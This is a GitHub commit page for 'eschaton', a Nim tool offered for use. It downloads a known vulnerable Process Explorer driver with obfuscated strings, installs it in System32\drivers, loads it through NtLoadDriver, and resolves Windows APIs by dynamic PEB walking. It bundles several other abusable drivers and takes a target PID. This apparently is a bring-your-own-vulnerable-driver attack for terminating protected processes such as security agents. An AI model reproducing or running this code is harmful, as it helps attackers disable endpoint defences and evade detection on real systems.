Skip to content

Commit

Permalink
init
Browse files Browse the repository at this point in the history
  • Loading branch information
B4hamut committed Jan 23, 2024
0 parents commit c07f48a
Show file tree
Hide file tree
Showing 16 changed files with 701 additions and 0 deletions.
19 changes: 19 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
# eschaton

needs :
- winim
- puppy

compilation :

```
nim c -d:mingw --cpu:amd64 -d:strip -d:danger --opt:size --passc=-flto --passl=-flto eschaton.nim
```

how to use :

- add procexp.sys in C:\WINDOWS\System32\drivers

- run eschaton.exe --pid:[PID of your target process]

- profit ????
15 changes: 15 additions & 0 deletions deploy_driver.nim
Original file line number Diff line number Diff line change
@@ -0,0 +1,15 @@
import httpclient, puppy
import obf


# download from https://github.com/magicsword-io/LOLDrivers/raw/main/drivers/e6cb1728c50bd020e531d19a14904e1c.bin
proc deploy*() =
var
client = newHttpClient()
file = driver_file

#echo client.getContent("https://github.com/magicsword-io/LOLDrivers/raw/main/drivers/e6cb1728c50bd020e531d19a14904e1c.bin")
var driver = fetch(obf("https://github.com/magicsword-io/LOLDrivers/raw/main/drivers/e6cb1728c50bd020e531d19a14904e1c.bin"))
writeFile(obf("procexp.sys"), driver)
moveFile(obf("procexp.sys"), obf("\\SystemRoot\\System32\\drivers\\procexp.sys"))
# move it to "\\SystemRoot\\System32\\drivers\\"
266 changes: 266 additions & 0 deletions dinvoke.nim
Original file line number Diff line number Diff line change
@@ -0,0 +1,266 @@
import winim
import tables
import strformat
import algorithm
import obf

when defined(WIN64):
const
PEB_OFFSET* = 0x30
else:
const
PEB_OFFSET* = 0x60


const
LdrLoadDll_SW2 * = obf("LdrLoadDll")
MZ* = 0x5A4D

const
NTDLL_DLL* = obf("ntdll.dll")

type
LdrLoadDll_t* = proc (PathToFile: PWCHAR, Flags: ULONG, ModuleFileName: PUNICODE_STRING, ModuleHandle: PHANDLE): NTSTATUS {.stdcall.}

type
ND_LDR_DATA_TABLE_ENTRY* {.bycopy.} = object
InMemoryOrderLinks*: LIST_ENTRY
InInitializationOrderLinks*: LIST_ENTRY
DllBase*: PVOID
EntryPoint*: PVOID
SizeOfImage*: ULONG
FullDllName*: UNICODE_STRING
BaseDllName*: UNICODE_STRING

PND_LDR_DATA_TABLE_ENTRY* = ptr ND_LDR_DATA_TABLE_ENTRY
ND_PEB_LDR_DATA* {.bycopy.} = object
Length*: ULONG
Initialized*: UCHAR
SsHandle*: PVOID
InLoadOrderModuleList*: LIST_ENTRY
InMemoryOrderModuleList*: LIST_ENTRY
InInitializationOrderModuleList*: LIST_ENTRY

PND_PEB_LDR_DATA* = ptr ND_PEB_LDR_DATA
ND_PEB* {.bycopy.} = object
Reserved1*: array[2, BYTE]
BeingDebugged*: BYTE
Reserved2*: array[1, BYTE]
Reserved3*: array[2, PVOID]
Ldr*: PND_PEB_LDR_DATA

PND_PEB* = ptr ND_PEB


proc GetPPEB(p: culong): P_PEB {.
header:
"""#include <windows.h>
#include <winnt.h>""",
importc: "__readgsqword"
.}



template RVA*(atype: untyped, base_addr: untyped, rva: untyped): untyped = cast[atype](cast[ULONG_PTR](cast[ULONG_PTR](base_addr) + cast[ULONG_PTR](rva)))

template RVASub*(atype: untyped, base_addr: untyped, rva: untyped): untyped = cast[atype](cast[ULONG_PTR](cast[ULONG_PTR](base_addr) - cast[ULONG_PTR](rva)))

template RVA2VA(casttype, dllbase, rva: untyped): untyped =
cast[casttype](cast[ULONG_PTR](dllbase) + rva)

proc `+`[T](a: ptr T, b: int): ptr T =
cast[ptr T](cast[uint](a) + cast[uint](b * a[].sizeof))

proc `-`[T](a: ptr T, b: int): ptr T =
cast[ptr T](cast[uint](a) - cast[uint](b * a[].sizeof))

proc is_dll*(hLibrary: PVOID): BOOL
proc get_library_address*(LibName: LPWSTR; DoLoad: BOOL): HANDLE
proc get_function_address*(hLibrary: HMODULE; fname: cstring; ordinal: int, specialCase: BOOL): PVOID

proc is_dll*(hLibrary: PVOID): BOOL =
var dosHeader: PIMAGE_DOS_HEADER
var ntHeader: PIMAGE_NT_HEADERS
if (hLibrary == nil):
when not defined(release):
echo "[-] hLibrary == 0, exiting"
return FALSE
dosHeader = cast[PIMAGE_DOS_HEADER](hLibrary)
#echo "Got dos Header"
## check the MZ magic bytes
if dosHeader.e_magic != MZ:
when not defined(release):
echo "[-] No Magic bytes found"
return FALSE
ntHeader = cast[PIMAGE_NT_HEADERS](cast[DWORD_PTR](hLibrary) + dosHeader.e_lfanew)
#echo "Got NT Headers"
## check the NT_HEADER signature
if ntHeader.Signature != IMAGE_NT_SIGNATURE:
when not defined(release):
echo "[-] Nt Header signature wrong, exiting"
return FALSE
var Characteristics: USHORT = ntHeader.FileHeader.Characteristics
if (Characteristics and IMAGE_FILE_DLL) != IMAGE_FILE_DLL:
when not defined(release):
echo "[-] Characteristics shows this is not an DLL, exiting"
return FALSE
#echo "Everything fine, this is indeed a DLL"
return TRUE


##
## Get the base address of a DLL
##


proc get_library_address*(LibName: LPWSTR; DoLoad: BOOL): HANDLE =
when not defined(release):
echo "\r\n[*] Parsing the PEB to search for the target DLL\r\n"
var Peb: PPEB = GetPPEB(PEB_OFFSET)
var Ldr = Peb.Ldr
var FirstEntry: PVOID = addr(Ldr.InMemoryOrderModuleList.Flink)
var Entry: PND_LDR_DATA_TABLE_ENTRY = cast[PND_LDR_DATA_TABLE_ENTRY](Ldr.InMemoryOrderModuleList.Flink)
while true:
# lstrcmpiW is not case sensitive, lstrcmpW is case sensitive
var compare: int = lstrcmpiW(LibName,cast[LPWSTR](Entry.BaseDllName.Buffer))
if(compare == 0):
#echo "DLL names equal"
when not defined(release):
echo "\r\n[+] Found the DLL!\r\n"
return cast[HANDLE](Entry.DllBase)
Entry = cast[PND_LDR_DATA_TABLE_ENTRY](Entry.InMemoryOrderLinks.Flink)
if not (Entry != FirstEntry):
when not defined(release):
echo "DLL not found for the current proc, loading."
break
if (DoLoad == FALSE):
echo "Exit, loading is not appreciated"
return 0

var MyLdrLoadDll: LdrLoadDll_t = cast[LdrLoadDll_t](cast[LPVOID](get_function_address(cast[HMODULE](get_library_address(NTDLL_DLL, FALSE)), LdrLoadDll_SW2, 0, TRUE)))

if MyLdrLoadDll == nil:
echo "[-] Address of LdrLoadDll not found"
return 0

var ModuleFileName: UNICODE_STRING

var hLibrary: HANDLE = 0

RtlInitUnicodeString(&ModuleFileName, LibName)
## load the library
var status: NTSTATUS = MyLdrLoadDll(nil, 0, &ModuleFileName, &hLibrary)

if (status != 0):
echo fmt"[-] Failed to load {Libname}, status: {status}\n"
if (hLibrary == 0):
echo "HLibrary still null"
return 0
else:
echo fmt"Loaded {LibName} successfully!"
echo fmt"[+] Loaded {LibName} at {hLibrary}"
return hLibrary


##
## Find an export in a DLL
##

proc get_function_address*(hLibrary: HMODULE; fname: cstring; ordinal: int, specialCase: BOOL): PVOID =
var dos: PIMAGE_DOS_HEADER
var nt: PIMAGE_NT_HEADERS
#var data: PIMAGE_DATA_DIRECTORY
var data: array[0..15, IMAGE_DATA_DIRECTORY]
var exp: PIMAGE_EXPORT_DIRECTORY
var exp_size: DWORD
var adr: PDWORD
var ord: PDWORD
var functionAddress: PVOID
var toCheckLibrary: PVOID = cast[PVOID](hLibrary)
if (is_dll(toCheckLibrary) == FALSE):
echo "[-] Exiting, not a DLL"
return nil
dos = cast[PIMAGE_DOS_HEADER](hLibrary)
nt = RVA(PIMAGE_NT_HEADERS, cast[PVOID](hLibrary), dos.e_lfanew)

data = nt.OptionalHeader.DataDirectory

if (data[0].Size == 0 or data[0].VirtualAddress == 0):
echo "[-] Data size == 0 or no VirtualAddress"
return nil
exp = RVA(PIMAGE_EXPORT_DIRECTORY, hLibrary, data[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress)
exp_size = data[0].Size

adr = RVA2VA(PDWORD, cast[DWORD_PTR](hLibrary), exp.AddressOfFunctions)
ord = RVA2VA(PDWORD, cast[DWORD_PTR](hLibrary), exp.AddressOfNameOrdinals)

functionAddress = nil

var numofnames = cast[DWORD](exp.NumberOfNames)
var functions = RVA2VA(PDWORD, cast[PVOID](hLibrary), exp.AddressOfFunctions)
var addressOfFunctionsvalue = RVA2VA(PDWORD, cast[PVOID](hLibrary), exp.AddressOfFunctions)[]
var names = RVA2VA(PDWORD, cast[PVOID](hLibrary), exp.AddressOfNames)[]

#echo "\r\n[*] Checking DLL's Export Directory for the target function\r\n"

if fname != "":
## iterate over all the exports
#var i: DWORD = 0

for i in 0 .. numofnames:
# Getting the function name value
var funcname = RVA2VA(cstring, cast[PVOID](hLibrary), names)

var finalfunctionAddress = RVA(PVOID, cast[PVOID](hLibrary), addressOfFunctionsvalue)

# We are comparing against function names, which include "." because for some reason all function names in this loop also contain references to other DLLs, e.g. "api-ms-win-core-libraryloader-l1-1-0.AddDllDirectory" in kernel32.dll
var test = StrRStrIA(cast[LPCSTR](funcname),nil,cast[LPCSTR]("."))

if test != nil:
# As we found a trash (indirect reference, normally this is in the address field and not in the names field) function, we have to increase this value -> Not an official function
numofnames = numofnames + 1
else:
functions = functions + 1
addressOfFunctionsvalue = functions[]
#echo "Relative Address: ", toHex(functions[])
names += cast[DWORD](len(funcname) + 1)
#echo "Function: ", funcname
if fname == funcname:

# So many edge cases, have to investigate
if (funcname == "CreateFileW"):
functions = functions - 1
if (funcname == "SetFileInformationByHandle"):
functions = functions - 1
if (funcname == "CloseHandle"):
functions = functions - 1
if (funcname == "GetModuleFileNameW"):
functions = functions - 1

#echo "\r\n[+] Found API call: ",funcname
#echo "\r\n"

# Strange. For ntdll functions the following is needed, but for kernel32 functions it's not. Don't ask me why. This is a workaround for the moment. Need to troubleshoot.
if (specialCase):
# Why?
#echo "This is a special case, subtract one function"
finalfunctionAddress = RVA(PVOID, cast[PVOID](hLibrary), addressOfFunctionsvalue)
#echo "Relative Address: ", toHex(functions[])
functions = functions - 1
#echo "Relative Address one before: ", toHex(functions[])
functions = functions + 2
#echo "Relative Address one after: ", toHex(functions[])
functionAddress = finalfunctionAddress
break
else:
# Add the ordinal number e.g. 1034 for OpenProcess and - the EXP Base address
#echo fmt"Getting address via ordinal: {ordinal}"
functions = functions + ordinal - 1
functionAddress = RVA(PVOID, hLibrary, functions[])
#echo "Relative Address: ", toHex(functions[])
#echo "Function address via ordinal:"
#echo repr(functionAddress)
if functionAddress == nil:
return nil
else:
return functionAddress
74 changes: 74 additions & 0 deletions driver.nim
Original file line number Diff line number Diff line change
@@ -0,0 +1,74 @@
import winim/[com, clr], std/strformat
import dinvoke
import obf

type NtLoadDriver_t = proc(DriverServiceName : PUNICODE_STRING) : HANDLE {.stdcall.}


proc load_driver*() =
var hNtdll = GetModuleHandleA(obf("Ntdll.dll"))
if (hNtdll == 0):
echo obf("[-] error can't find ntdll")
quit(-1)

var NtLoadDriver : NtLoadDriver_t

NtLoadDriver = cast[NtLoadDriver_t](cast[LPVOID](get_function_address(cast[HMODULE](get_library_address(obf("ntdll.dll"), FALSE)), obf("NtLoadDriver"), 0, TRUE)))

if (NtLoadDriver == nil):
echo obf("[-] error can't find NtLoadDriver")
quit(-1)

var name : UNICODE_STRING

RtlInitUnicodeString(addr(name), obf("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\eschaton"))

var ret = NtLoadDriver(addr(name))
if (ret != STATUS_SUCCESS and ret != STATUS_IMAGE_ALREADY_LOADED and ret != STATUS_OBJECT_NAME_COLLISION) :
echo "[-] ntloaddriver error, can't load driver"
quit()
elif (ret == STATUS_SUCCESS) :
echo "[+] driver loaded"
elif (ret == STATUS_IMAGE_ALREADY_LOADED) :
echo "already loaded"
else :
echo "should be working"

proc unload_driver*() =
var hNtdll = GetModuleHandleA(obf("Ntdll.dll"))
if (hNtdll == 0):
echo "[-] error can't find ntdll"
quit(-1)

var NtLoadDriver : NtLoadDriver_t

NtLoadDriver = cast[NtLoadDriver_t](cast[LPVOID](get_function_address(cast[HMODULE](get_library_address(obf("ntdll.dll"), FALSE)), obf("NtUnloadDriver"), 0, TRUE)))

if (NtLoadDriver == nil):
echo "[-] error can't find NtUnLoadDriver"
quit(-1)

var name : UNICODE_STRING

RtlInitUnicodeString(addr(name), obf("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\eschaton"))

var ret = NtLoadDriver(addr(name))
if (ret != STATUS_SUCCESS and ret != STATUS_IMAGE_ALREADY_LOADED and ret != STATUS_OBJECT_NAME_COLLISION) :
echo fmt"[-]NtUnloadDriver: {ret}"
echo "[-] ntunloaddriver error"
elif (ret == STATUS_SUCCESS) :
echo "[+] driver unloaded"


proc connect_to_driver*(driver_name : string) : HANDLE =
var driver_handle = CreateFileA(fmt"\\.\{driver_name}", GENERIC_ALL, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)

#dump hProcExpDevice
if (driver_handle == INVALID_HANDLE_VALUE) :
echo "[-] invalid handle"
echo "[-] cant connect to driver"
quit()
else :
echo "[+] connected to driver"

return driver_handle
Binary file added drivers/etdsupp.sys
Binary file not shown.
Binary file added drivers/irec.sys
Binary file not shown.
Binary file added drivers/mhyprot2.sys
Binary file not shown.
Binary file added drivers/procexp.sys
Binary file not shown.
Binary file added drivers/zam64.sys
Binary file not shown.
Loading

0 comments on commit c07f48a

Please sign in to comment.